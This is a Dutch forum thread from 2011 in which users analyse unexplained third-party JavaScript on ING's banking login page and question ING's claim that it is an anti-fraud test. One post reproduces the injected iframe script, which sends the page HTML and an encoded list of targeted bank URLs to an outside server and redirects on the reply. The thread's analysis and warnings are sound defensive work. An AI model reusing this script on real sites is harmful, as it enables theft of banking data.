Verdachte dingen bij inloggen op mijn.ing.nl

[Brons]

Misschien is het wel duidelijke taal maar ik wil niet weten hoeveel gegevens ze in de tussentijd gepakt hebben. Ik snap dat de ING niet willy-nilly de website down kan halen maar na zoveel meldingen zou het toch wel doorgedrongen moeten zijn naar de mensen die verantwoordelijk zijn voor veiligheid?

[luukske21]

ing haal die site offline !

Neem toch het zekere voor het onzekere !

[mindcrash]

frickY schreef op donderdag 04 augustus 2011 @ 17:59:
[...]

Het is toch ook niet de innerHtml van ING? In Chrome zie ik dat de HTML van vsonicw zelf weer wordt terug gestuurd.

@mindcrash
De document.location target het iframe zelf. Het is dus niet het parent-frame (je browser venster zelf) die van locatie veranderd.

Ja zoiets dacht ik al. Wellicht dat ze een login formulier aan de andere kant proberen te emuleren en te injecteren in de HTML code van de huidige pagina via een iframe

[Mektheb]

Dlocks schreef op donderdag 04 augustus 2011 @ 18:01:
[...]


Je zou toch denken dat ING dit soort zaken constant monitoren en niet afankelijk hoeven te zijn van derden die toevallig iets ontdekken en het melden? Blijkbaar niet dus...

Ja zou je zeggen, justitie lost ook meer op door hulp van 3e dan wat ze zelf doen.
Beter dat een 3e het meld dan niet zeg ik maar zo.

Brons schreef op donderdag 04 augustus 2011 @ 18:01:
Misschien is het wel duidelijke taal maar ik wil niet weten hoeveel gegevens ze in de tussentijd gepakt hebben. Ik snap dat de ING niet willy-nilly de website down kan halen maar na zoveel meldingen zou het toch wel doorgedrongen moeten zijn naar de mensen die verantwoordelijk zijn voor veiligheid?

Teveel ben ik bang al.
5 minuten kunnen al zoveel inlog gegevens zijn.

[ Voor 36% gewijzigd door Mektheb op 04-08-2011 18:03 ]

[Lulukai]

luukske21 schreef op donderdag 04 augustus 2011 @ 18:01:
ing haal die site offline !

Neem toch het zekere voor het onzekere !

De imagoschade dat mensen even niet bij hun geld kunnen omdat er een probleem is met internetbankieren zou enorm zijn. Ze kunnen proberen om het een dringend onderhoud te noemen, maar met alle berichten die nu al verspreid zijn is de geloofwaardigheid daarvan onbestaande.

[dada]

mindcrash schreef op donderdag 04 augustus 2011 @ 17:59:
[...]


Ik heb volgens mij een idee wat ze proberen te doen:

1) men neme een stel URLs en wat info van de huidige pagina
2) men verstuurd die met de huidige url
3) serverside wordt 'iets' gedaan
4) stuur lookalike URL terug
5) vervang huidige pagina door lookalike URL

Er wordt in die post in ieder geval de hele document body escaped en bijgevoegd in de POST. Hier iets opgeschoonde versie: http://closure-compiler.a...21a7809edd5e86/default.js

Maar beval de document.body op dat moment het inlogformulier van ING?

[White_Collar]

Of ze gewoon even flink voor schut te zetten op de frontpage op tweakers. Media werkt meestal wel goed

[Dlocks]

Mektheb schreef op donderdag 04 augustus 2011 @ 18:02:
[...]

Ja zou je zeggen, justitie lost ook meer op door hulp van 3e dan wat ze zelf doen.
Beter dat een 3e het meld dan niet zeg ik maar zo.

Met het grote verschil dat ING dit soort zaken gewoon volledig geautomatiseerd zou kunnen monitoren.

[Resistor]

Dlocks schreef op donderdag 04 augustus 2011 @ 18:01:
[...]


Je zou toch denken dat ING dit soort zaken constant monitoren en niet afankelijk hoeven te zijn van derden die toevallig iets ontdekken en het melden? Blijkbaar niet dus...

Zou jij kunnen zeggen zonder te gaan kijken wat de waterdruk in de verwarmingsketel is?

Een half uurtje geleden kan er ook een klein lekje ontstaan zijn waardoor er nu op zolder een klein plasje water ontstaat, wat nog niet merkbaar is op andere verdiepingen.

Ik denk dat het op veel bedrijven (groot en klein) zo gaat: als het werkt is het goed. De logmeldingen bekijken we wel als er vreemde dingen gebeuren.

[ Voor 11% gewijzigd door Resistor op 04-08-2011 18:06 ]

[Thralas]

mindcrash schreef op donderdag 04 augustus 2011 @ 18:02:
[...]


Ja zoiets dacht ik al. Wellicht dat ze een login formulier aan de andere kant proberen te emuleren en te injecteren in de HTML code van de huidige pagina via een iframe

Het iframe heet awa-proxy. Dat suggereert inderdaad zoiets - maar wat doet een iframe qua size als je hem append aan de body van een page?

[fonsoy]

Oh, dit klinkt niet echt goed. Allerlei sessie ID's die doorgestuurd konden worden in de tussentijd. Ik hoop dan maar dat bij ING intern dit aangepakt wordt. Helaas heb ik vandaag ook een betaling gedaan.

[ik222]

Dit is op zijn minst een enorm vreemde constructie voor een internetbankieren website wanneer ING het on purpose erin heeft gezet. Echter het is natuurlijk wel te voorbarig om nu al te stellen dat de site 100% zeker gehacked is. Het is wel zeer verdacht en ik blijf voorlopig even van mijn ing af in elk geval...

[frickY]

Mijn voorlopige conclusie is dat een derde partij een exploit heeft weten te injecteren, maar die exploit is ontwikkelt voor één of meerdere andere banken, en derhalve tot dit moment niet heeft gewerkt op ING.

ING set in ieder geval geen 'ak' cookie zonder te zijn ingelogd. Maar ook als ze dat wel doen kan de waarde hiervan alleen worden uitgelezen door binnen de pagina van ING zelf de document.cookie variabele uit te lezen.
Scripts geladen van externe servers kunnen, in fatsoenlijke browsers, niet bij cookies geset door een andere hostname.

[Kees]

Rekenblok schreef op donderdag 04 augustus 2011 @ 18:04:
Of ze gewoon even flink voor schut te zetten op de frontpage op tweakers. Media werkt meestal wel goed

Hoor en wederhoor, zoals je ziet is Wilbert daar al mee bezig, maar stel dat het iets onschuldigs is en tweakers publiceert iets als 'ing gehacked' puur op basis van dit topic, en het blijkt niet zo te zijn, dan staan wij voor schut, en niet ing

[Kraan]

Resistor schreef op donderdag 04 augustus 2011 @ 18:04:
[...]

Zou jij kunnen zeggen zonder te gaan kijken wat de waterdruk in de verwarmingsketel is?

Een half uurtje geleden kan er ook een klein lekje ontstaan zijn waardoor er nu op zolder een klein plasje water ontstaat, wat nog niet merkbaar is op andere verdiepingen.

Ik denk dat het op veel bedrijven (groot en klein) zo gaat: als het werkt is het goed.

Dat zou je (ook) kunnen automatiseren.

[Dlocks]

Resistor schreef op donderdag 04 augustus 2011 @ 18:04:
[...]

Zou jij kunnen zeggen zonder te gaan kijken wat de waterdruk in de verwarmingsketel is?

Een half uurtje geleden kan er ook een klein lekje ontstaan zijn waardoor er nu op zolder een klein plasje water ontstaat, wat nog niet merkbaar is op andere verdiepingen.

Wat is dat nou voor een onzinnige niet vergelijkbare vergelijking?

Dit soort zaken zou ING makkelijk volledig geautomatiseerd kunnen monitoren waarbij één seconde na de hack alarmbellen gaan rinkelen.

Moet ik wel bij zeggen dat het op dit moment volgens mij niet duidelijk is of ING wel/niet al op de hoogte was.

[Resistor]

Ik heb totaal geen verstand van computerbeveiligingen

[White_Collar]

Kees schreef op donderdag 04 augustus 2011 @ 18:06:
[...]

Hoor en wederhoor, zoals je ziet is Wilbert daar al mee bezig, maar stel dat het iets onschuldigs is en tweakers publiceert iets als 'ing gehacked' puur op basis van dit topic, en het blijkt niet zo te zijn, dan staan wij voor schut, en niet ing

Daar heb jij weer een punt . Gelukkig zijn hier mijn gegevens wel veilig

[ Voor 5% gewijzigd door White_Collar op 04-08-2011 18:08 ]

[killercow]

frickY schreef op donderdag 04 augustus 2011 @ 18:06:
Mijn voorlopige conclusie is dat een derde partij een exploit heeft weten te injecteren, maar die exploit is ontwikkelt voor één of meerdere andere banken, en derhalve tot dit moment niet heeft gewerkt op ING.

ING set in ieder geval geen 'ak' cookie zonder te zijn ingelogd. Maar ook als ze dat wel doen kan de waarde hiervan alleen worden uitgelezen door binnen de pagina van ING zelf de document.cookie variabele uit te lezen.
Scripts geladen van externe servers kunnen, in fatsoenlijke browsers, niet bij cookies geset door een andere hostname.

Onzin,

Js die geinclude is vanaf een derde domein, op de pagina van het domein met de cookies kan prima overal bij.

[Wilbert de Vries]

Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

[Biersteker]

Volgens mij is het nu wel opgelost.

[Thralas]

frickY schreef op donderdag 04 augustus 2011 @ 18:06:
ING set in ieder geval geen 'ak' cookie zonder te zijn ingelogd. Maar ook als ze dat wel doen kan de waarde hiervan alleen worden uitgelezen door binnen de pagina van ING zelf de document.cookie variabele uit te lezen.
Scripts geladen van externe servers kunnen, in fatsoenlijke browsers, niet bij cookies geset door een andere hostname.

Goed punt. Tevens post hij momenteel de content van het document van de iframe. Dat lijkt me ook niet de 'bedoeling'.. Als het script direct was geinjecteerd in een view-account-pagina, dan was de content wel enigzins nuttig.

[LuCarD]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Wij zijn die "software-implementatie" ?

[Tharulerz]

Het lijkt me in ieder geval een brak script... Mijn theorie:

- Papi.js wordt geladen en injecteert een iframe op de pagina genaamd awa-proxy
- Iframe bevat het volgende:

HTML:

<iframe id="awa-proxy" name="awa-proxy" style="display: none;" src="javascript: false"></iframe><head>
<!--<html >-->
</head><body id="awa-container">
<!-- comment -->



<!-- Welcome,  </body> -->
<!-- <!DOCTYPE <html > </html>  -->
<!-- </body> </html> -->
<!-- </BODY> </HTML> -->
<!-- 
</BODY>
     </HTML> -->
<!-- 
</HTML>
-->
<!-- </table> <div> -->
<!-- <title> at a glance banking</title> <meta > -->
<!-- </title> <script> -->
<!-- <script> </HEAD> Account Balances -->
<!-- <input TYPE="text" style="font:11px arial" tabindex="1" >  -->
<!-- alt="Password" maxlength="20"></div>*</div>  -->
<!-- <script language="JavaScript" type="text/javascript" src="sas-docs/js/verifyImage.js"> </script>  -->
<!-- name="password_tmp" </TR>  -->
<!--  </body> -->
<!-- NAME="Passwd" </tr>  -->
<!-- if(focusElement != null) { } -->
<!-- < "loginMessageTD" ">  -->
<!-- <input name="multiID" id="multiID" type="textbox" class="search-text-box" > -->
<!-- SUCURSALAUX.style.display*<body link="#CC0001" vlink="#CC0001" alink="#CC3300">  -->
<!-- function submitLogin(){  } -->
<!-- /CodeLibrary/Includes/functions/Client/Security/pm_fp.js  -->
<!-- <input class="boton" type="submit" name="Signon">  -->
<!-- atdmt  -->
<!-- <h2 >Startseite</h2>  -->
<!-- <link rel="stylesheet" dif="x">  -->
<!-- </html>  -->
<!-- <input name="btnContinue" type="submit" class="PageButton" value="Continue" onMouseOver="window.status=''; return true" onMouseOut="window.status=''; return true" alt="Continue"  -->
<!-- <input type="text" name="userid" id="userid" autocomplete="off" value="" tabindex="4" /> <label for="rememberuid" id="rememberuidlabel"> </label> -->
<!-- name="codAbi" </tr>  -->
<!-- <head>  -->
<!-- <h2 >Finanzstatus</h2>  -->
<!--  if (rememberme_prefill != "" -->
<!-- <input type="password" style="font-family: Arial, Helvetica; font-size: 10pt; color:#000066; background-color: #e8e8e8;" size="12" maxlength="12" name="passwd" value=>  -->
<!-- <body  -->
<!-- <div id="marketing"> </section></div> -->
<!-- <table summary="This table shows the current balance of all your accounts"  -->
<!-- <script language="javascript" type="text/javascript">  -->
<!-- <head >  -->
<!--  </head> -->
<!-- var theForm;  -->
<!-- <table </tr> </table> -->
<!-- <body>  -->
<!-- To combat the threat of internet fraud and hacki*<script type="text/javascript"> </script> -->
<!-- id="IBloginForm" -->
<!-- </head>  -->
<!-- <table class="security" cellpadding="0" cellspacing="0"> </body> -->
<!-- </body>  -->
<!-- < summary="layout"> <td class="spacerH20"> <tr valign="top >  -->
<!-- <input type="submit" name="_buttonNext" value="Next" > -->
<!-- <body >  -->
<!-- type="text" name="login" >  -->
<!-- <form method="post" name="formLogin" <table class="tabela1_login" border="0" cellspacing="0" > <table> </table> </form> -->
<!-- https://www.bice.cl/bice/servlet/bice/template/bice AC_AvisoPop  -->
<!-- <input type="password" name="passcode" id="passcode" > -->
<!-- function doEncryption() document -->
<!-- <input id="top-button" name="olb_signin" class="button" type="submit" title="Sign In to Online Banking" value="Sign In" onClick="cmCreateManualLinkClickTag('https://sitekey.bankofamerica.com/sas/signon.do', 'homepage_sign_in', 'homepage:Content;home_personal'); javascript:doPassmarkSignIn(); return false;"  -->
<!-- > Check() > </body> </html> -->
<!-- <input type="hidden" name="sitekeySignon" value="">  -->
<!-- Where do I enter my Passcode? signInFunction = " " -->
<!-- <div class="LoginColumn2"><input class="LoginAnswer" type="password" name="password" id="password" value="" size="20" AUTOCOMPLETE="off" alt="Password" maxlength="20"></div>  -->
<!-- <HEAD >  -->
<!-- size=17 maxlength=16 autocomplete="off"></td> <td valign="middle">&nbsp;</td> -->
<!-- function noFramesCheck() { } -->
<!-- </title>  -->
<!-- apportiti</title> </body> -->
<!-- <INPUT type="text" name='userid' <a   title="Log on"  -->
<!-- <div class="hsbcMainContent hsbcCol" -->
<!-- <input TYPE="text" style="font:11px arial" tabindex="1" -->
<!-- <div class="btnInput btn_type1"> <div> -->
<!-- </body> <body id="portalLogin"> -->
<!-- <form name="login_form" > -->
<!-- <h1>Welcome!</h1> -->
<!-- <div id="start_div"></div> -->
<!-- </html> -->
<!-- <HEAD> webtrends_top_section.js </script> </script> </HEAD> Account details -->
<!-- SessionID: </body> -->
<!-- <table class="InboxTable" </table> -->
<!-- <form method="post" action="LoginMember.do" > -->
<!-- "alerta"  -->
<!-- style="background-color:white; color: #444444;"/>&nbsp;  -->
<!-- function SubmitMe(FormName) { }  -->
<!-- <FORM Name="Form1" id="Form1" ACTION="javascript:SubmitMe()" METHOD="post">  -->
<!-- id="transpFullDiv"  -->
<!-- if (p) return true;  -->
<!-- <input type="hidden" name="__VIEWSTATE" </div> -->
<!-- e clique em Entrar  -->
<!-- <script>footer();</script> -->
<!-- <form NAME="frmStatement" METHOD="POST" ACTION="Statement.asp"> -->
<!-- <div id="fdMastheadDiv" class="fdMasthead"> -->
<!-- function doPassmarkSignIn() { -->
<!-- </BODY> -->
<!-- </head><body > -->
<!-- onsubmit=" < > -->
<!-- onload="populateHiddenField();" < >  -->
<!-- onsubmit=" < -->
<!-- <div class="body" > -->
<!-- <div class="alert"><table id="t_a1"> -->
<!-- <div id="LI5PFG" > -->
<!-- <form class="faqForm" method="get" action="" target="_blank"> -->
<!-- name="hidden_name_input_ANSWER" id="idInputPassPhrase"> -->
<!-- if (window.doEncryption) { doEncryption();  -->
<!-- <table class="supported"> -->
<!-- < src="../images/NICE_icopie3_bp.gif" alt="icono3" /> -->
<!-- <form id="fLogout" > -->




<script>
function getHTTPObject() { if (typeof XMLHttpRequest != 'undefined') { return new XMLHttpRequest(); } try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } return false; }

try {
  var h = getHTTPObject();
  h.open("POST", "./s1", true);
  params = ["query=A%3Debc%255Febc1961%252Febc1961%252Easp%252Flogonnpbs%252Eco%252Eukybonline%252Eco%252Eukonline%252Ebankofamerica%252Ecom%252Fcgi%252Dbin%252Fias%252Faccounts%252Doverview%252E%252Ede%252Fportal%252Fportal%252FHome%252Edo%252Ehsbc%252Eco%252Euk%252F1%252F2%252Fpersonal%252F%252Ehalifax%252Donline%252Eco%252Euk%252FDisplayMyAccounts%253AviewMyAccountsnwolb%252Ecom%252FStatementsbanquepopulaire%252Efr%252Finversis%252Ecomwachovia%252Ecomibank%252Ebarclays%252Eco%252Euk%252FloginTFA%252Edomeine%252Edeutsche%252Dbank%252Ede%252Ftrxm%252Fdb%252Fitan%252Eauthorizationmijn%252Eing%252Enl%252Fco%252Doperativebank%252Eco%252Euk%252Fcorp%252FBANKAWAYgbw%252Eit%252Echase%252Ecom%252FMyAccountsbcp%252Eptmy%252Eebay%252Eco%252Euk%252Fws%252FeBayISAPI%252Edll%253FMyEbayManageTAN%262%3D0%26R%3Dnorisbank%252Ede%252F%252Ebanking%252Efirstdirect%252Ecom%252F1%252F2%252Fbanking%252Eanz%252Ecommyspace%252Ecom%252Fpaypal%252Esecure%252Farcot%252Eroyalbank%252Ecom%252FCapitalOne%255FConsumer%252F%252Fcmserver%252Fverify%252Ecfmmail%252Elive%252Ecom%252Fmailcapitalone%252EcomEBC%255FEBC1961%252FEBC1961%252EASP%252Flogonbepp%252Fsanpt%252Fusuarios%252Enwolb%252Eogin%252Easpx%253Frbbva%252Eesbbva%252Emobi%252Ecitizensbankonline%252Ecom%252Eindexsampopank%252E%252F%252Ecitibank%252Ecom%252FUS%252FJPS%252Fportal%252FHome%252Edoasnbank%252Enl%252F%261%3D%26em%3Dhttps%253A%252F%252Fmijn%252Eing%252Enl","app=v4","ak=","cm=0","html="+escape(document.body.innerHTML)].join("&");

  h.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  h.onreadystatechange = function() {  
                                if(h.readyState == 4 && h.status == 200) {
                                    var t = h.responseText;
                  if (t && t.length>0) { document.location.replace(t); }
                }
    }
  h.send(params);
} catch (e) {
}
</script>
<!--</body>-->
<!--</html>-->

</body>

In die iframe zie je onderaan een Ajax request die terug naar https://www.vsonicw.com/v4.0/33271/s1 post, met een query met allemaal wat gegevens in + deze parameter:

"html="+escape(document.body.innerHTML)]

Mijn theorie is dat de hacker denkt dat hij de hele body hiermee krijgt, en die dan verstuurd op het moment dat er op inloggen geklikt wordt en dus de username en passwoord er in zitten.

2 problemen:

- document.body.innerhtml vanuit een iframe geeft enkel de source van de iframe (waardoor hij dus gewoon wat hij ophaalt terugpost naar zijn eigen server)
- document.body.innerhtml bevat geen values van input fields, ook al zijn die ingevuld (in ieder geval toch niet in Chrome en Firefox, kan andere browsers nog niet bevestigen).

Mij lijkt dat de bedoeling van het script, maar werkt het gewoon niet degelijk.

[frickY]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Nouja. Als die software JorritJ heet, dan werkt het

De verklaring matched wel met de situatie, dus voor nu geloof ik het
Maar als de code straks plots verdwenen is wordt het weer een ander verhaal

@ik22
Anti-phishing software testen op je eigen domein werkt natuurlijk niet Maar ik snap je punt

[ Voor 19% gewijzigd door frickY op 04-08-2011 18:12 ]

[ik222]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Oke ik hoop dat dit ook echt de waarheid is en dat het geen manier is om kwaadaardige code op hun site in de doofpot te stoppen.

In elk geval zou ik ze adviseren om dat soort software dan op hun eigen domein te draaien aangezien dit gewoon enorm verdacht is op een site voor internetbankieren.

[lavagiant]

Reactie van ING klinkt op zich logisch en het lijkt mij een mogelijke manier om te controleren of een pagina via javascript gewijzigd is. Dat die server op zo'n vaag domein staat is wel apart, maar dat kan.

[Kees]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Ah, dus posten ze hun html naar een andere server om het daar te beoordelen. Beetje jammer dat ze dan zulke vage url's en sites ervoor gebruiken.

[Resistor]

LuCarD schreef op donderdag 04 augustus 2011 @ 18:10:
[...]


Wij zijn die "software-implementatie" ?

Wij blijven de 'wetware'.

[Brons]

Aparte manier om je beveiliging te testen. Het is blijkbaar zo geheim dat het bedrijf dat het doet anoniem moet blijven in de whois gegevens en op een kleinschalige VPS host moet draaien?

[Mektheb]

frickY schreef op donderdag 04 augustus 2011 @ 18:10:
[...]

Nouja. Als die software JorritJ heet, dan werkt het

De verklaring matched wel met de situatie, dus voor nu geloof ik het
Maar als de code straks plots verdwenen is wordt het weer een ander verhaal.

inderdaad.

[Cloud]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Hehe. Niet dat ik ze niet wil geloven hoor, maar dit is natuurlijk wel het meest perfecte antwoord wat je zou kunnen geven in een situatie als deze.

'Ja het lijkt alsof we gehacked zijn. Maar dat komt omdat we dat zelf gedaan hebben om te kijken of onze eigen beveiliging het door zou hebben'.

Nou ja, ik ben blij dat er niets aan het handje lijkt te zijn in elk geval.

[JorritJ]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Dit stinkt!

[mindcrash]

Brons schreef op donderdag 04 augustus 2011 @ 18:11:
Aparte manier om je beveiliging te testen. Het is blijkbaar zo geheim dat het bedrijf dat het doet anoniem moet blijven in de whois gegevens en op een kleinschalige VPS host moet draaien?

Vriendjes van de CSO

Oh btw: zojuist een mental note gemaakt om nooit maar dan ook nooit diensten af te nemen van de ING persoonlijk. Houd niet van dit soort vage dingen; ook al is het om de beveiliging te 'testen'.

[ValHallASW]

Er lijkt ook een 'test'-versie van het script te zijn op https://www.primebyte.net/33272/papi.js ipv https://www.primebyte.net/33271/papi.js.

Ik probeer ondertussen bij het tech support van Thawte (de signer van het certificaat op primebyte.net / vsonicw.com ), maar die lijken het niet hun probleem te vinden... en vinden dat ik met het pr-department moet mailen. Zucht.

[ Voor 8% gewijzigd door ValHallASW op 04-08-2011 18:22 ]

[magistus]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

haha, OF het is een onzin verhaal en men is gewoon gehackt (my guess) , OF iemand zou hiervoor hard op zijn cojones moeten krijgen dat dit soort zaken op een productieomgeving van een bank 'getest' wordt. Als ze het hierbij houden, zijn ze mij als klant en iedereen die ik zo gek kan krijgen in ieder geval kwijt.

[Osiris]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

En dat zetten ze op hun main pagina?

Stel dat mijn "antivirus" cq. "phishing-detectie-software" nou aangeeft dat mijn.ing.nl gehackt is. Nee, dát is lekker voor je imago

Vind het een ietswat vaag antwoord wat nader navragen wel waard is?

[Thralas]

Juist. Dan host ik m'n extreem vage, brakke en packed javascript ook altijd op een externe server in de VS (Linode) op een domein geregistreerd bij een Amerikaanse toko.

Had een of ander woordvoerderfiguur een O-SHIT-momentje?

[Tharulerz]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Totale onzin. Je zou dit nooit testen op een server die live staat. Er zijn mensen die via mcafee een waarschuwing kregen van onveilige scripts die geladen werden (omdat ze op third party domain stonden), dat op zich is al imago schade die je niet wil hebben.

[fonsoy]

Brons schreef op donderdag 04 augustus 2011 @ 18:11:
Aparte manier om je beveiliging te testen. Het is blijkbaar zo geheim dat het bedrijf dat het doet anoniem moet blijven in de whois gegevens en op een kleinschalige VPS host moet draaien?

Het is dan ook mij niet helemaal duidelijk of de indruk die ING probeert te wekken juist is. Een mogelijke hack in de inlogsystemen kost natuurlijk enorm veel geld aan imagoschade. Het kan zijn dat er op het moment hard gewerkt wordt om een veilige versie weer te plaatsen.

Dit zijn natuurlijk speculaties, maar het is op z'n zachtst gezegd vreemd. De ING had van tevoren kunnen zien dat mensen vragen gingen stellen bij het laden van dergelijke domeinnamen. De actie is dan niet goed doordacht.

[Anoniem: 58485]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

En dat zei een pers voorlichter zelf ? Onbekende domeinnamen? Vage posts ?

Als dat zo is dan begaat ING en vele klanten wel eens een huge flater ...

Om dit soort dingen ben ik nou lid bij de rabobank. Daar kan je verwachten dat de security een stuk stuk stuk hoger ligt dan de ING.

[mindcrash]

En wat ik bijvoorbeeld nog steeds erg vreemd vind is dat er een verwijzing in de scripts lijkt te bestaan naar asnbank.nl maar dat er op asnbank.nl geen enkele verwijzing naar deze scripts wordt gemaakt...

[Henk007]

code:

HOSTS
127.0.0.1 www.primebyte.net

Better safe than sorry
En inloggen werkt nog steeds

[ Voor 16% gewijzigd door Henk007 op 04-08-2011 18:26 ]

[biomass]

misschien heeft het dan iets te maken met e-mail spamruns waarbij de ING inlogpagina nagenoeg volledig in een mailtje is gedrukt? Ik heb 31/7 een mailtje in Thunderbird weggegooid waarbij het Scam alert niet afging. Alle links in die pagina wezen naar naar de originele site.

[Cloud]

Tharulerz schreef op donderdag 04 augustus 2011 @ 18:14:
[...]

Er zijn mensen die via mcafee een waarschuwing kregen van onveilige scripts die geladen werden (omdat ze op third party domain stonden), dat op zich is al imago schade die je niet wil hebben.

Had ik nog niet eens bij stilgestaan maar dat lijkt mij ook prima mogelijk ja. Ik heb ook mijn twijfels of iemand die goed bij z'n verstand is, zoiets als dit wel op de productie omgeving zou willen zetten.

[Anoniem: 380171]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Werk zelf voor een bank en dit is toch echt niet de manier waarop je dit doet.
In ieder geval is mijn bullshit/fail detector net kapot gegaan.

[ik222]

Die verklaring rammelt inderdaad op twee niet onbelangrijke punten:

- Er wordt gebruik gemaakt van vage domeinen in de US die pas kort geleden geregistreerd zijn
- Het draait op de productieomgeving, je zou verwachten dat ze testen in een testomgeving. Zeker wanneer het om dit soort dingen gaat die imagoschade op kunnen leveren.

Zoals ik zeg ik hoop dat het de waarheid is maar ik blijf het een beetje raar vinden...

[ Voor 12% gewijzigd door ik222 op 04-08-2011 18:18 ]

[Rubix]

Gelukkig hebben we altijd nog de experts op tweakers om ING's IT-team te begeleiden bij het controleren van hun systeembeveiliging

[Osiris]

Anoniem: 380171 schreef op donderdag 04 augustus 2011 @ 18:17:
[...]

In ieder geval is mijn bullshit/fail detector net kapot gegaan.

Nou, mijnes werkt nog prima, want hij slaat naar 't rode uit

[pierce]

hmmm. Toevallig vanmiddag nog een ideal transactie gedaan vanaf mijn ing rekening, daarna nog een keer ingelogd op mijn.ing.nl....

De ideal transactie duur langer dan gebruikelijk, de eerste keer kwam zelfs de melding dat er geen verbinding met de server gemaakt kon worden. Maar goed dan kan er natuurlijk ook geheel los van staan...

[rob-bo]

Lang leve de firefox extensie noscript. Die blockt javascript van primebyte.net maar niet van mijn.ing.nl (die staat in mijn whitelist).

[dada]

Wilbert de Vries schreef op donderdag 04 augustus 2011 @ 18:08:
Zojuist ING gesproken. Zij bevestigen dat de Javascript-code op de site staat, maar dat er geen sprake is van een hack. Wat ING wel wil bevestigen is dat dit onderdeel is van een door hen georganiseerde actie waarbij software wordt getest om fraude en phishing te detecteren.

Huh. Maar waarom staat deze code dan op een vreemd, anoniem domein dat pas sinds kort is geregistreerd? Waarom is de code packed? Waarom is het pas sinds tenminste 2 augustus in gebruik? En waarom is de code ook op een andere site te vinden?

Ik zou graag een uitgebreidere verklaring zien die deze vragen beantwoord. Zullen ze wel "uit veiligheidsoverwegingen" niet doen.

[Anoniem: 380171]

Osiris schreef op donderdag 04 augustus 2011 @ 18:18:
[...]

Nou, mijnes werkt nog prima, want hij slaat naar 't rode uit

Die van mij kon maar tot 100 meten.

[DigiK-oz]

Binnenkort bericht op frontpage tweakers : ING test anti-hack software met zijn echte gebruikers

[GlowMouse]

De hoster bevestigt dat het er allemaal normaal uitziet.

[pierce]

GlowMouse schreef op donderdag 04 augustus 2011 @ 18:20:
De hoster bevestigt dat het er allemaal normaal uitziet.

de hoster of de beheerder

[Mikayu]

Dus ik kan nu veilig iets te eten bestellen met iDeal?

[GlowMouse]

pierce schreef op donderdag 04 augustus 2011 @ 18:20:
[...]


de hoster of de beheerder

Linode.

[dada]

Mikayu schreef op donderdag 04 augustus 2011 @ 18:21:
Dus ik kan nu veilig iets te eten bestellen met iDeal?

Nee. Weet je wel hoeveel vet die afhaalrestaurants gebruiken?

[Anoniem: 413232]

Ik geloof er geen drol van.

[mindcrash]

msikma schreef op donderdag 04 augustus 2011 @ 18:19:
En waarom is de code ook op een andere site te vinden?

En waarom lijkt het erop dat de desbetreffende code een formulier vergelijkbaar met het eigen formulier op de site wil injecteren?

[Biersteker]

Is het niet zo dat iedere bank, een testomgeving heeft. Die apart staat van het coresysteem, maar voor de rest wel identiek is? BS detector is nu kapot.
Het vreemde is dan ook, dat er na de melding van tweakers.net, dat het scriptje zomaar verdwenen is. Als je toch aan het testen bent, waarom zou je het dan weghalen?

[Anoniem: 246242]

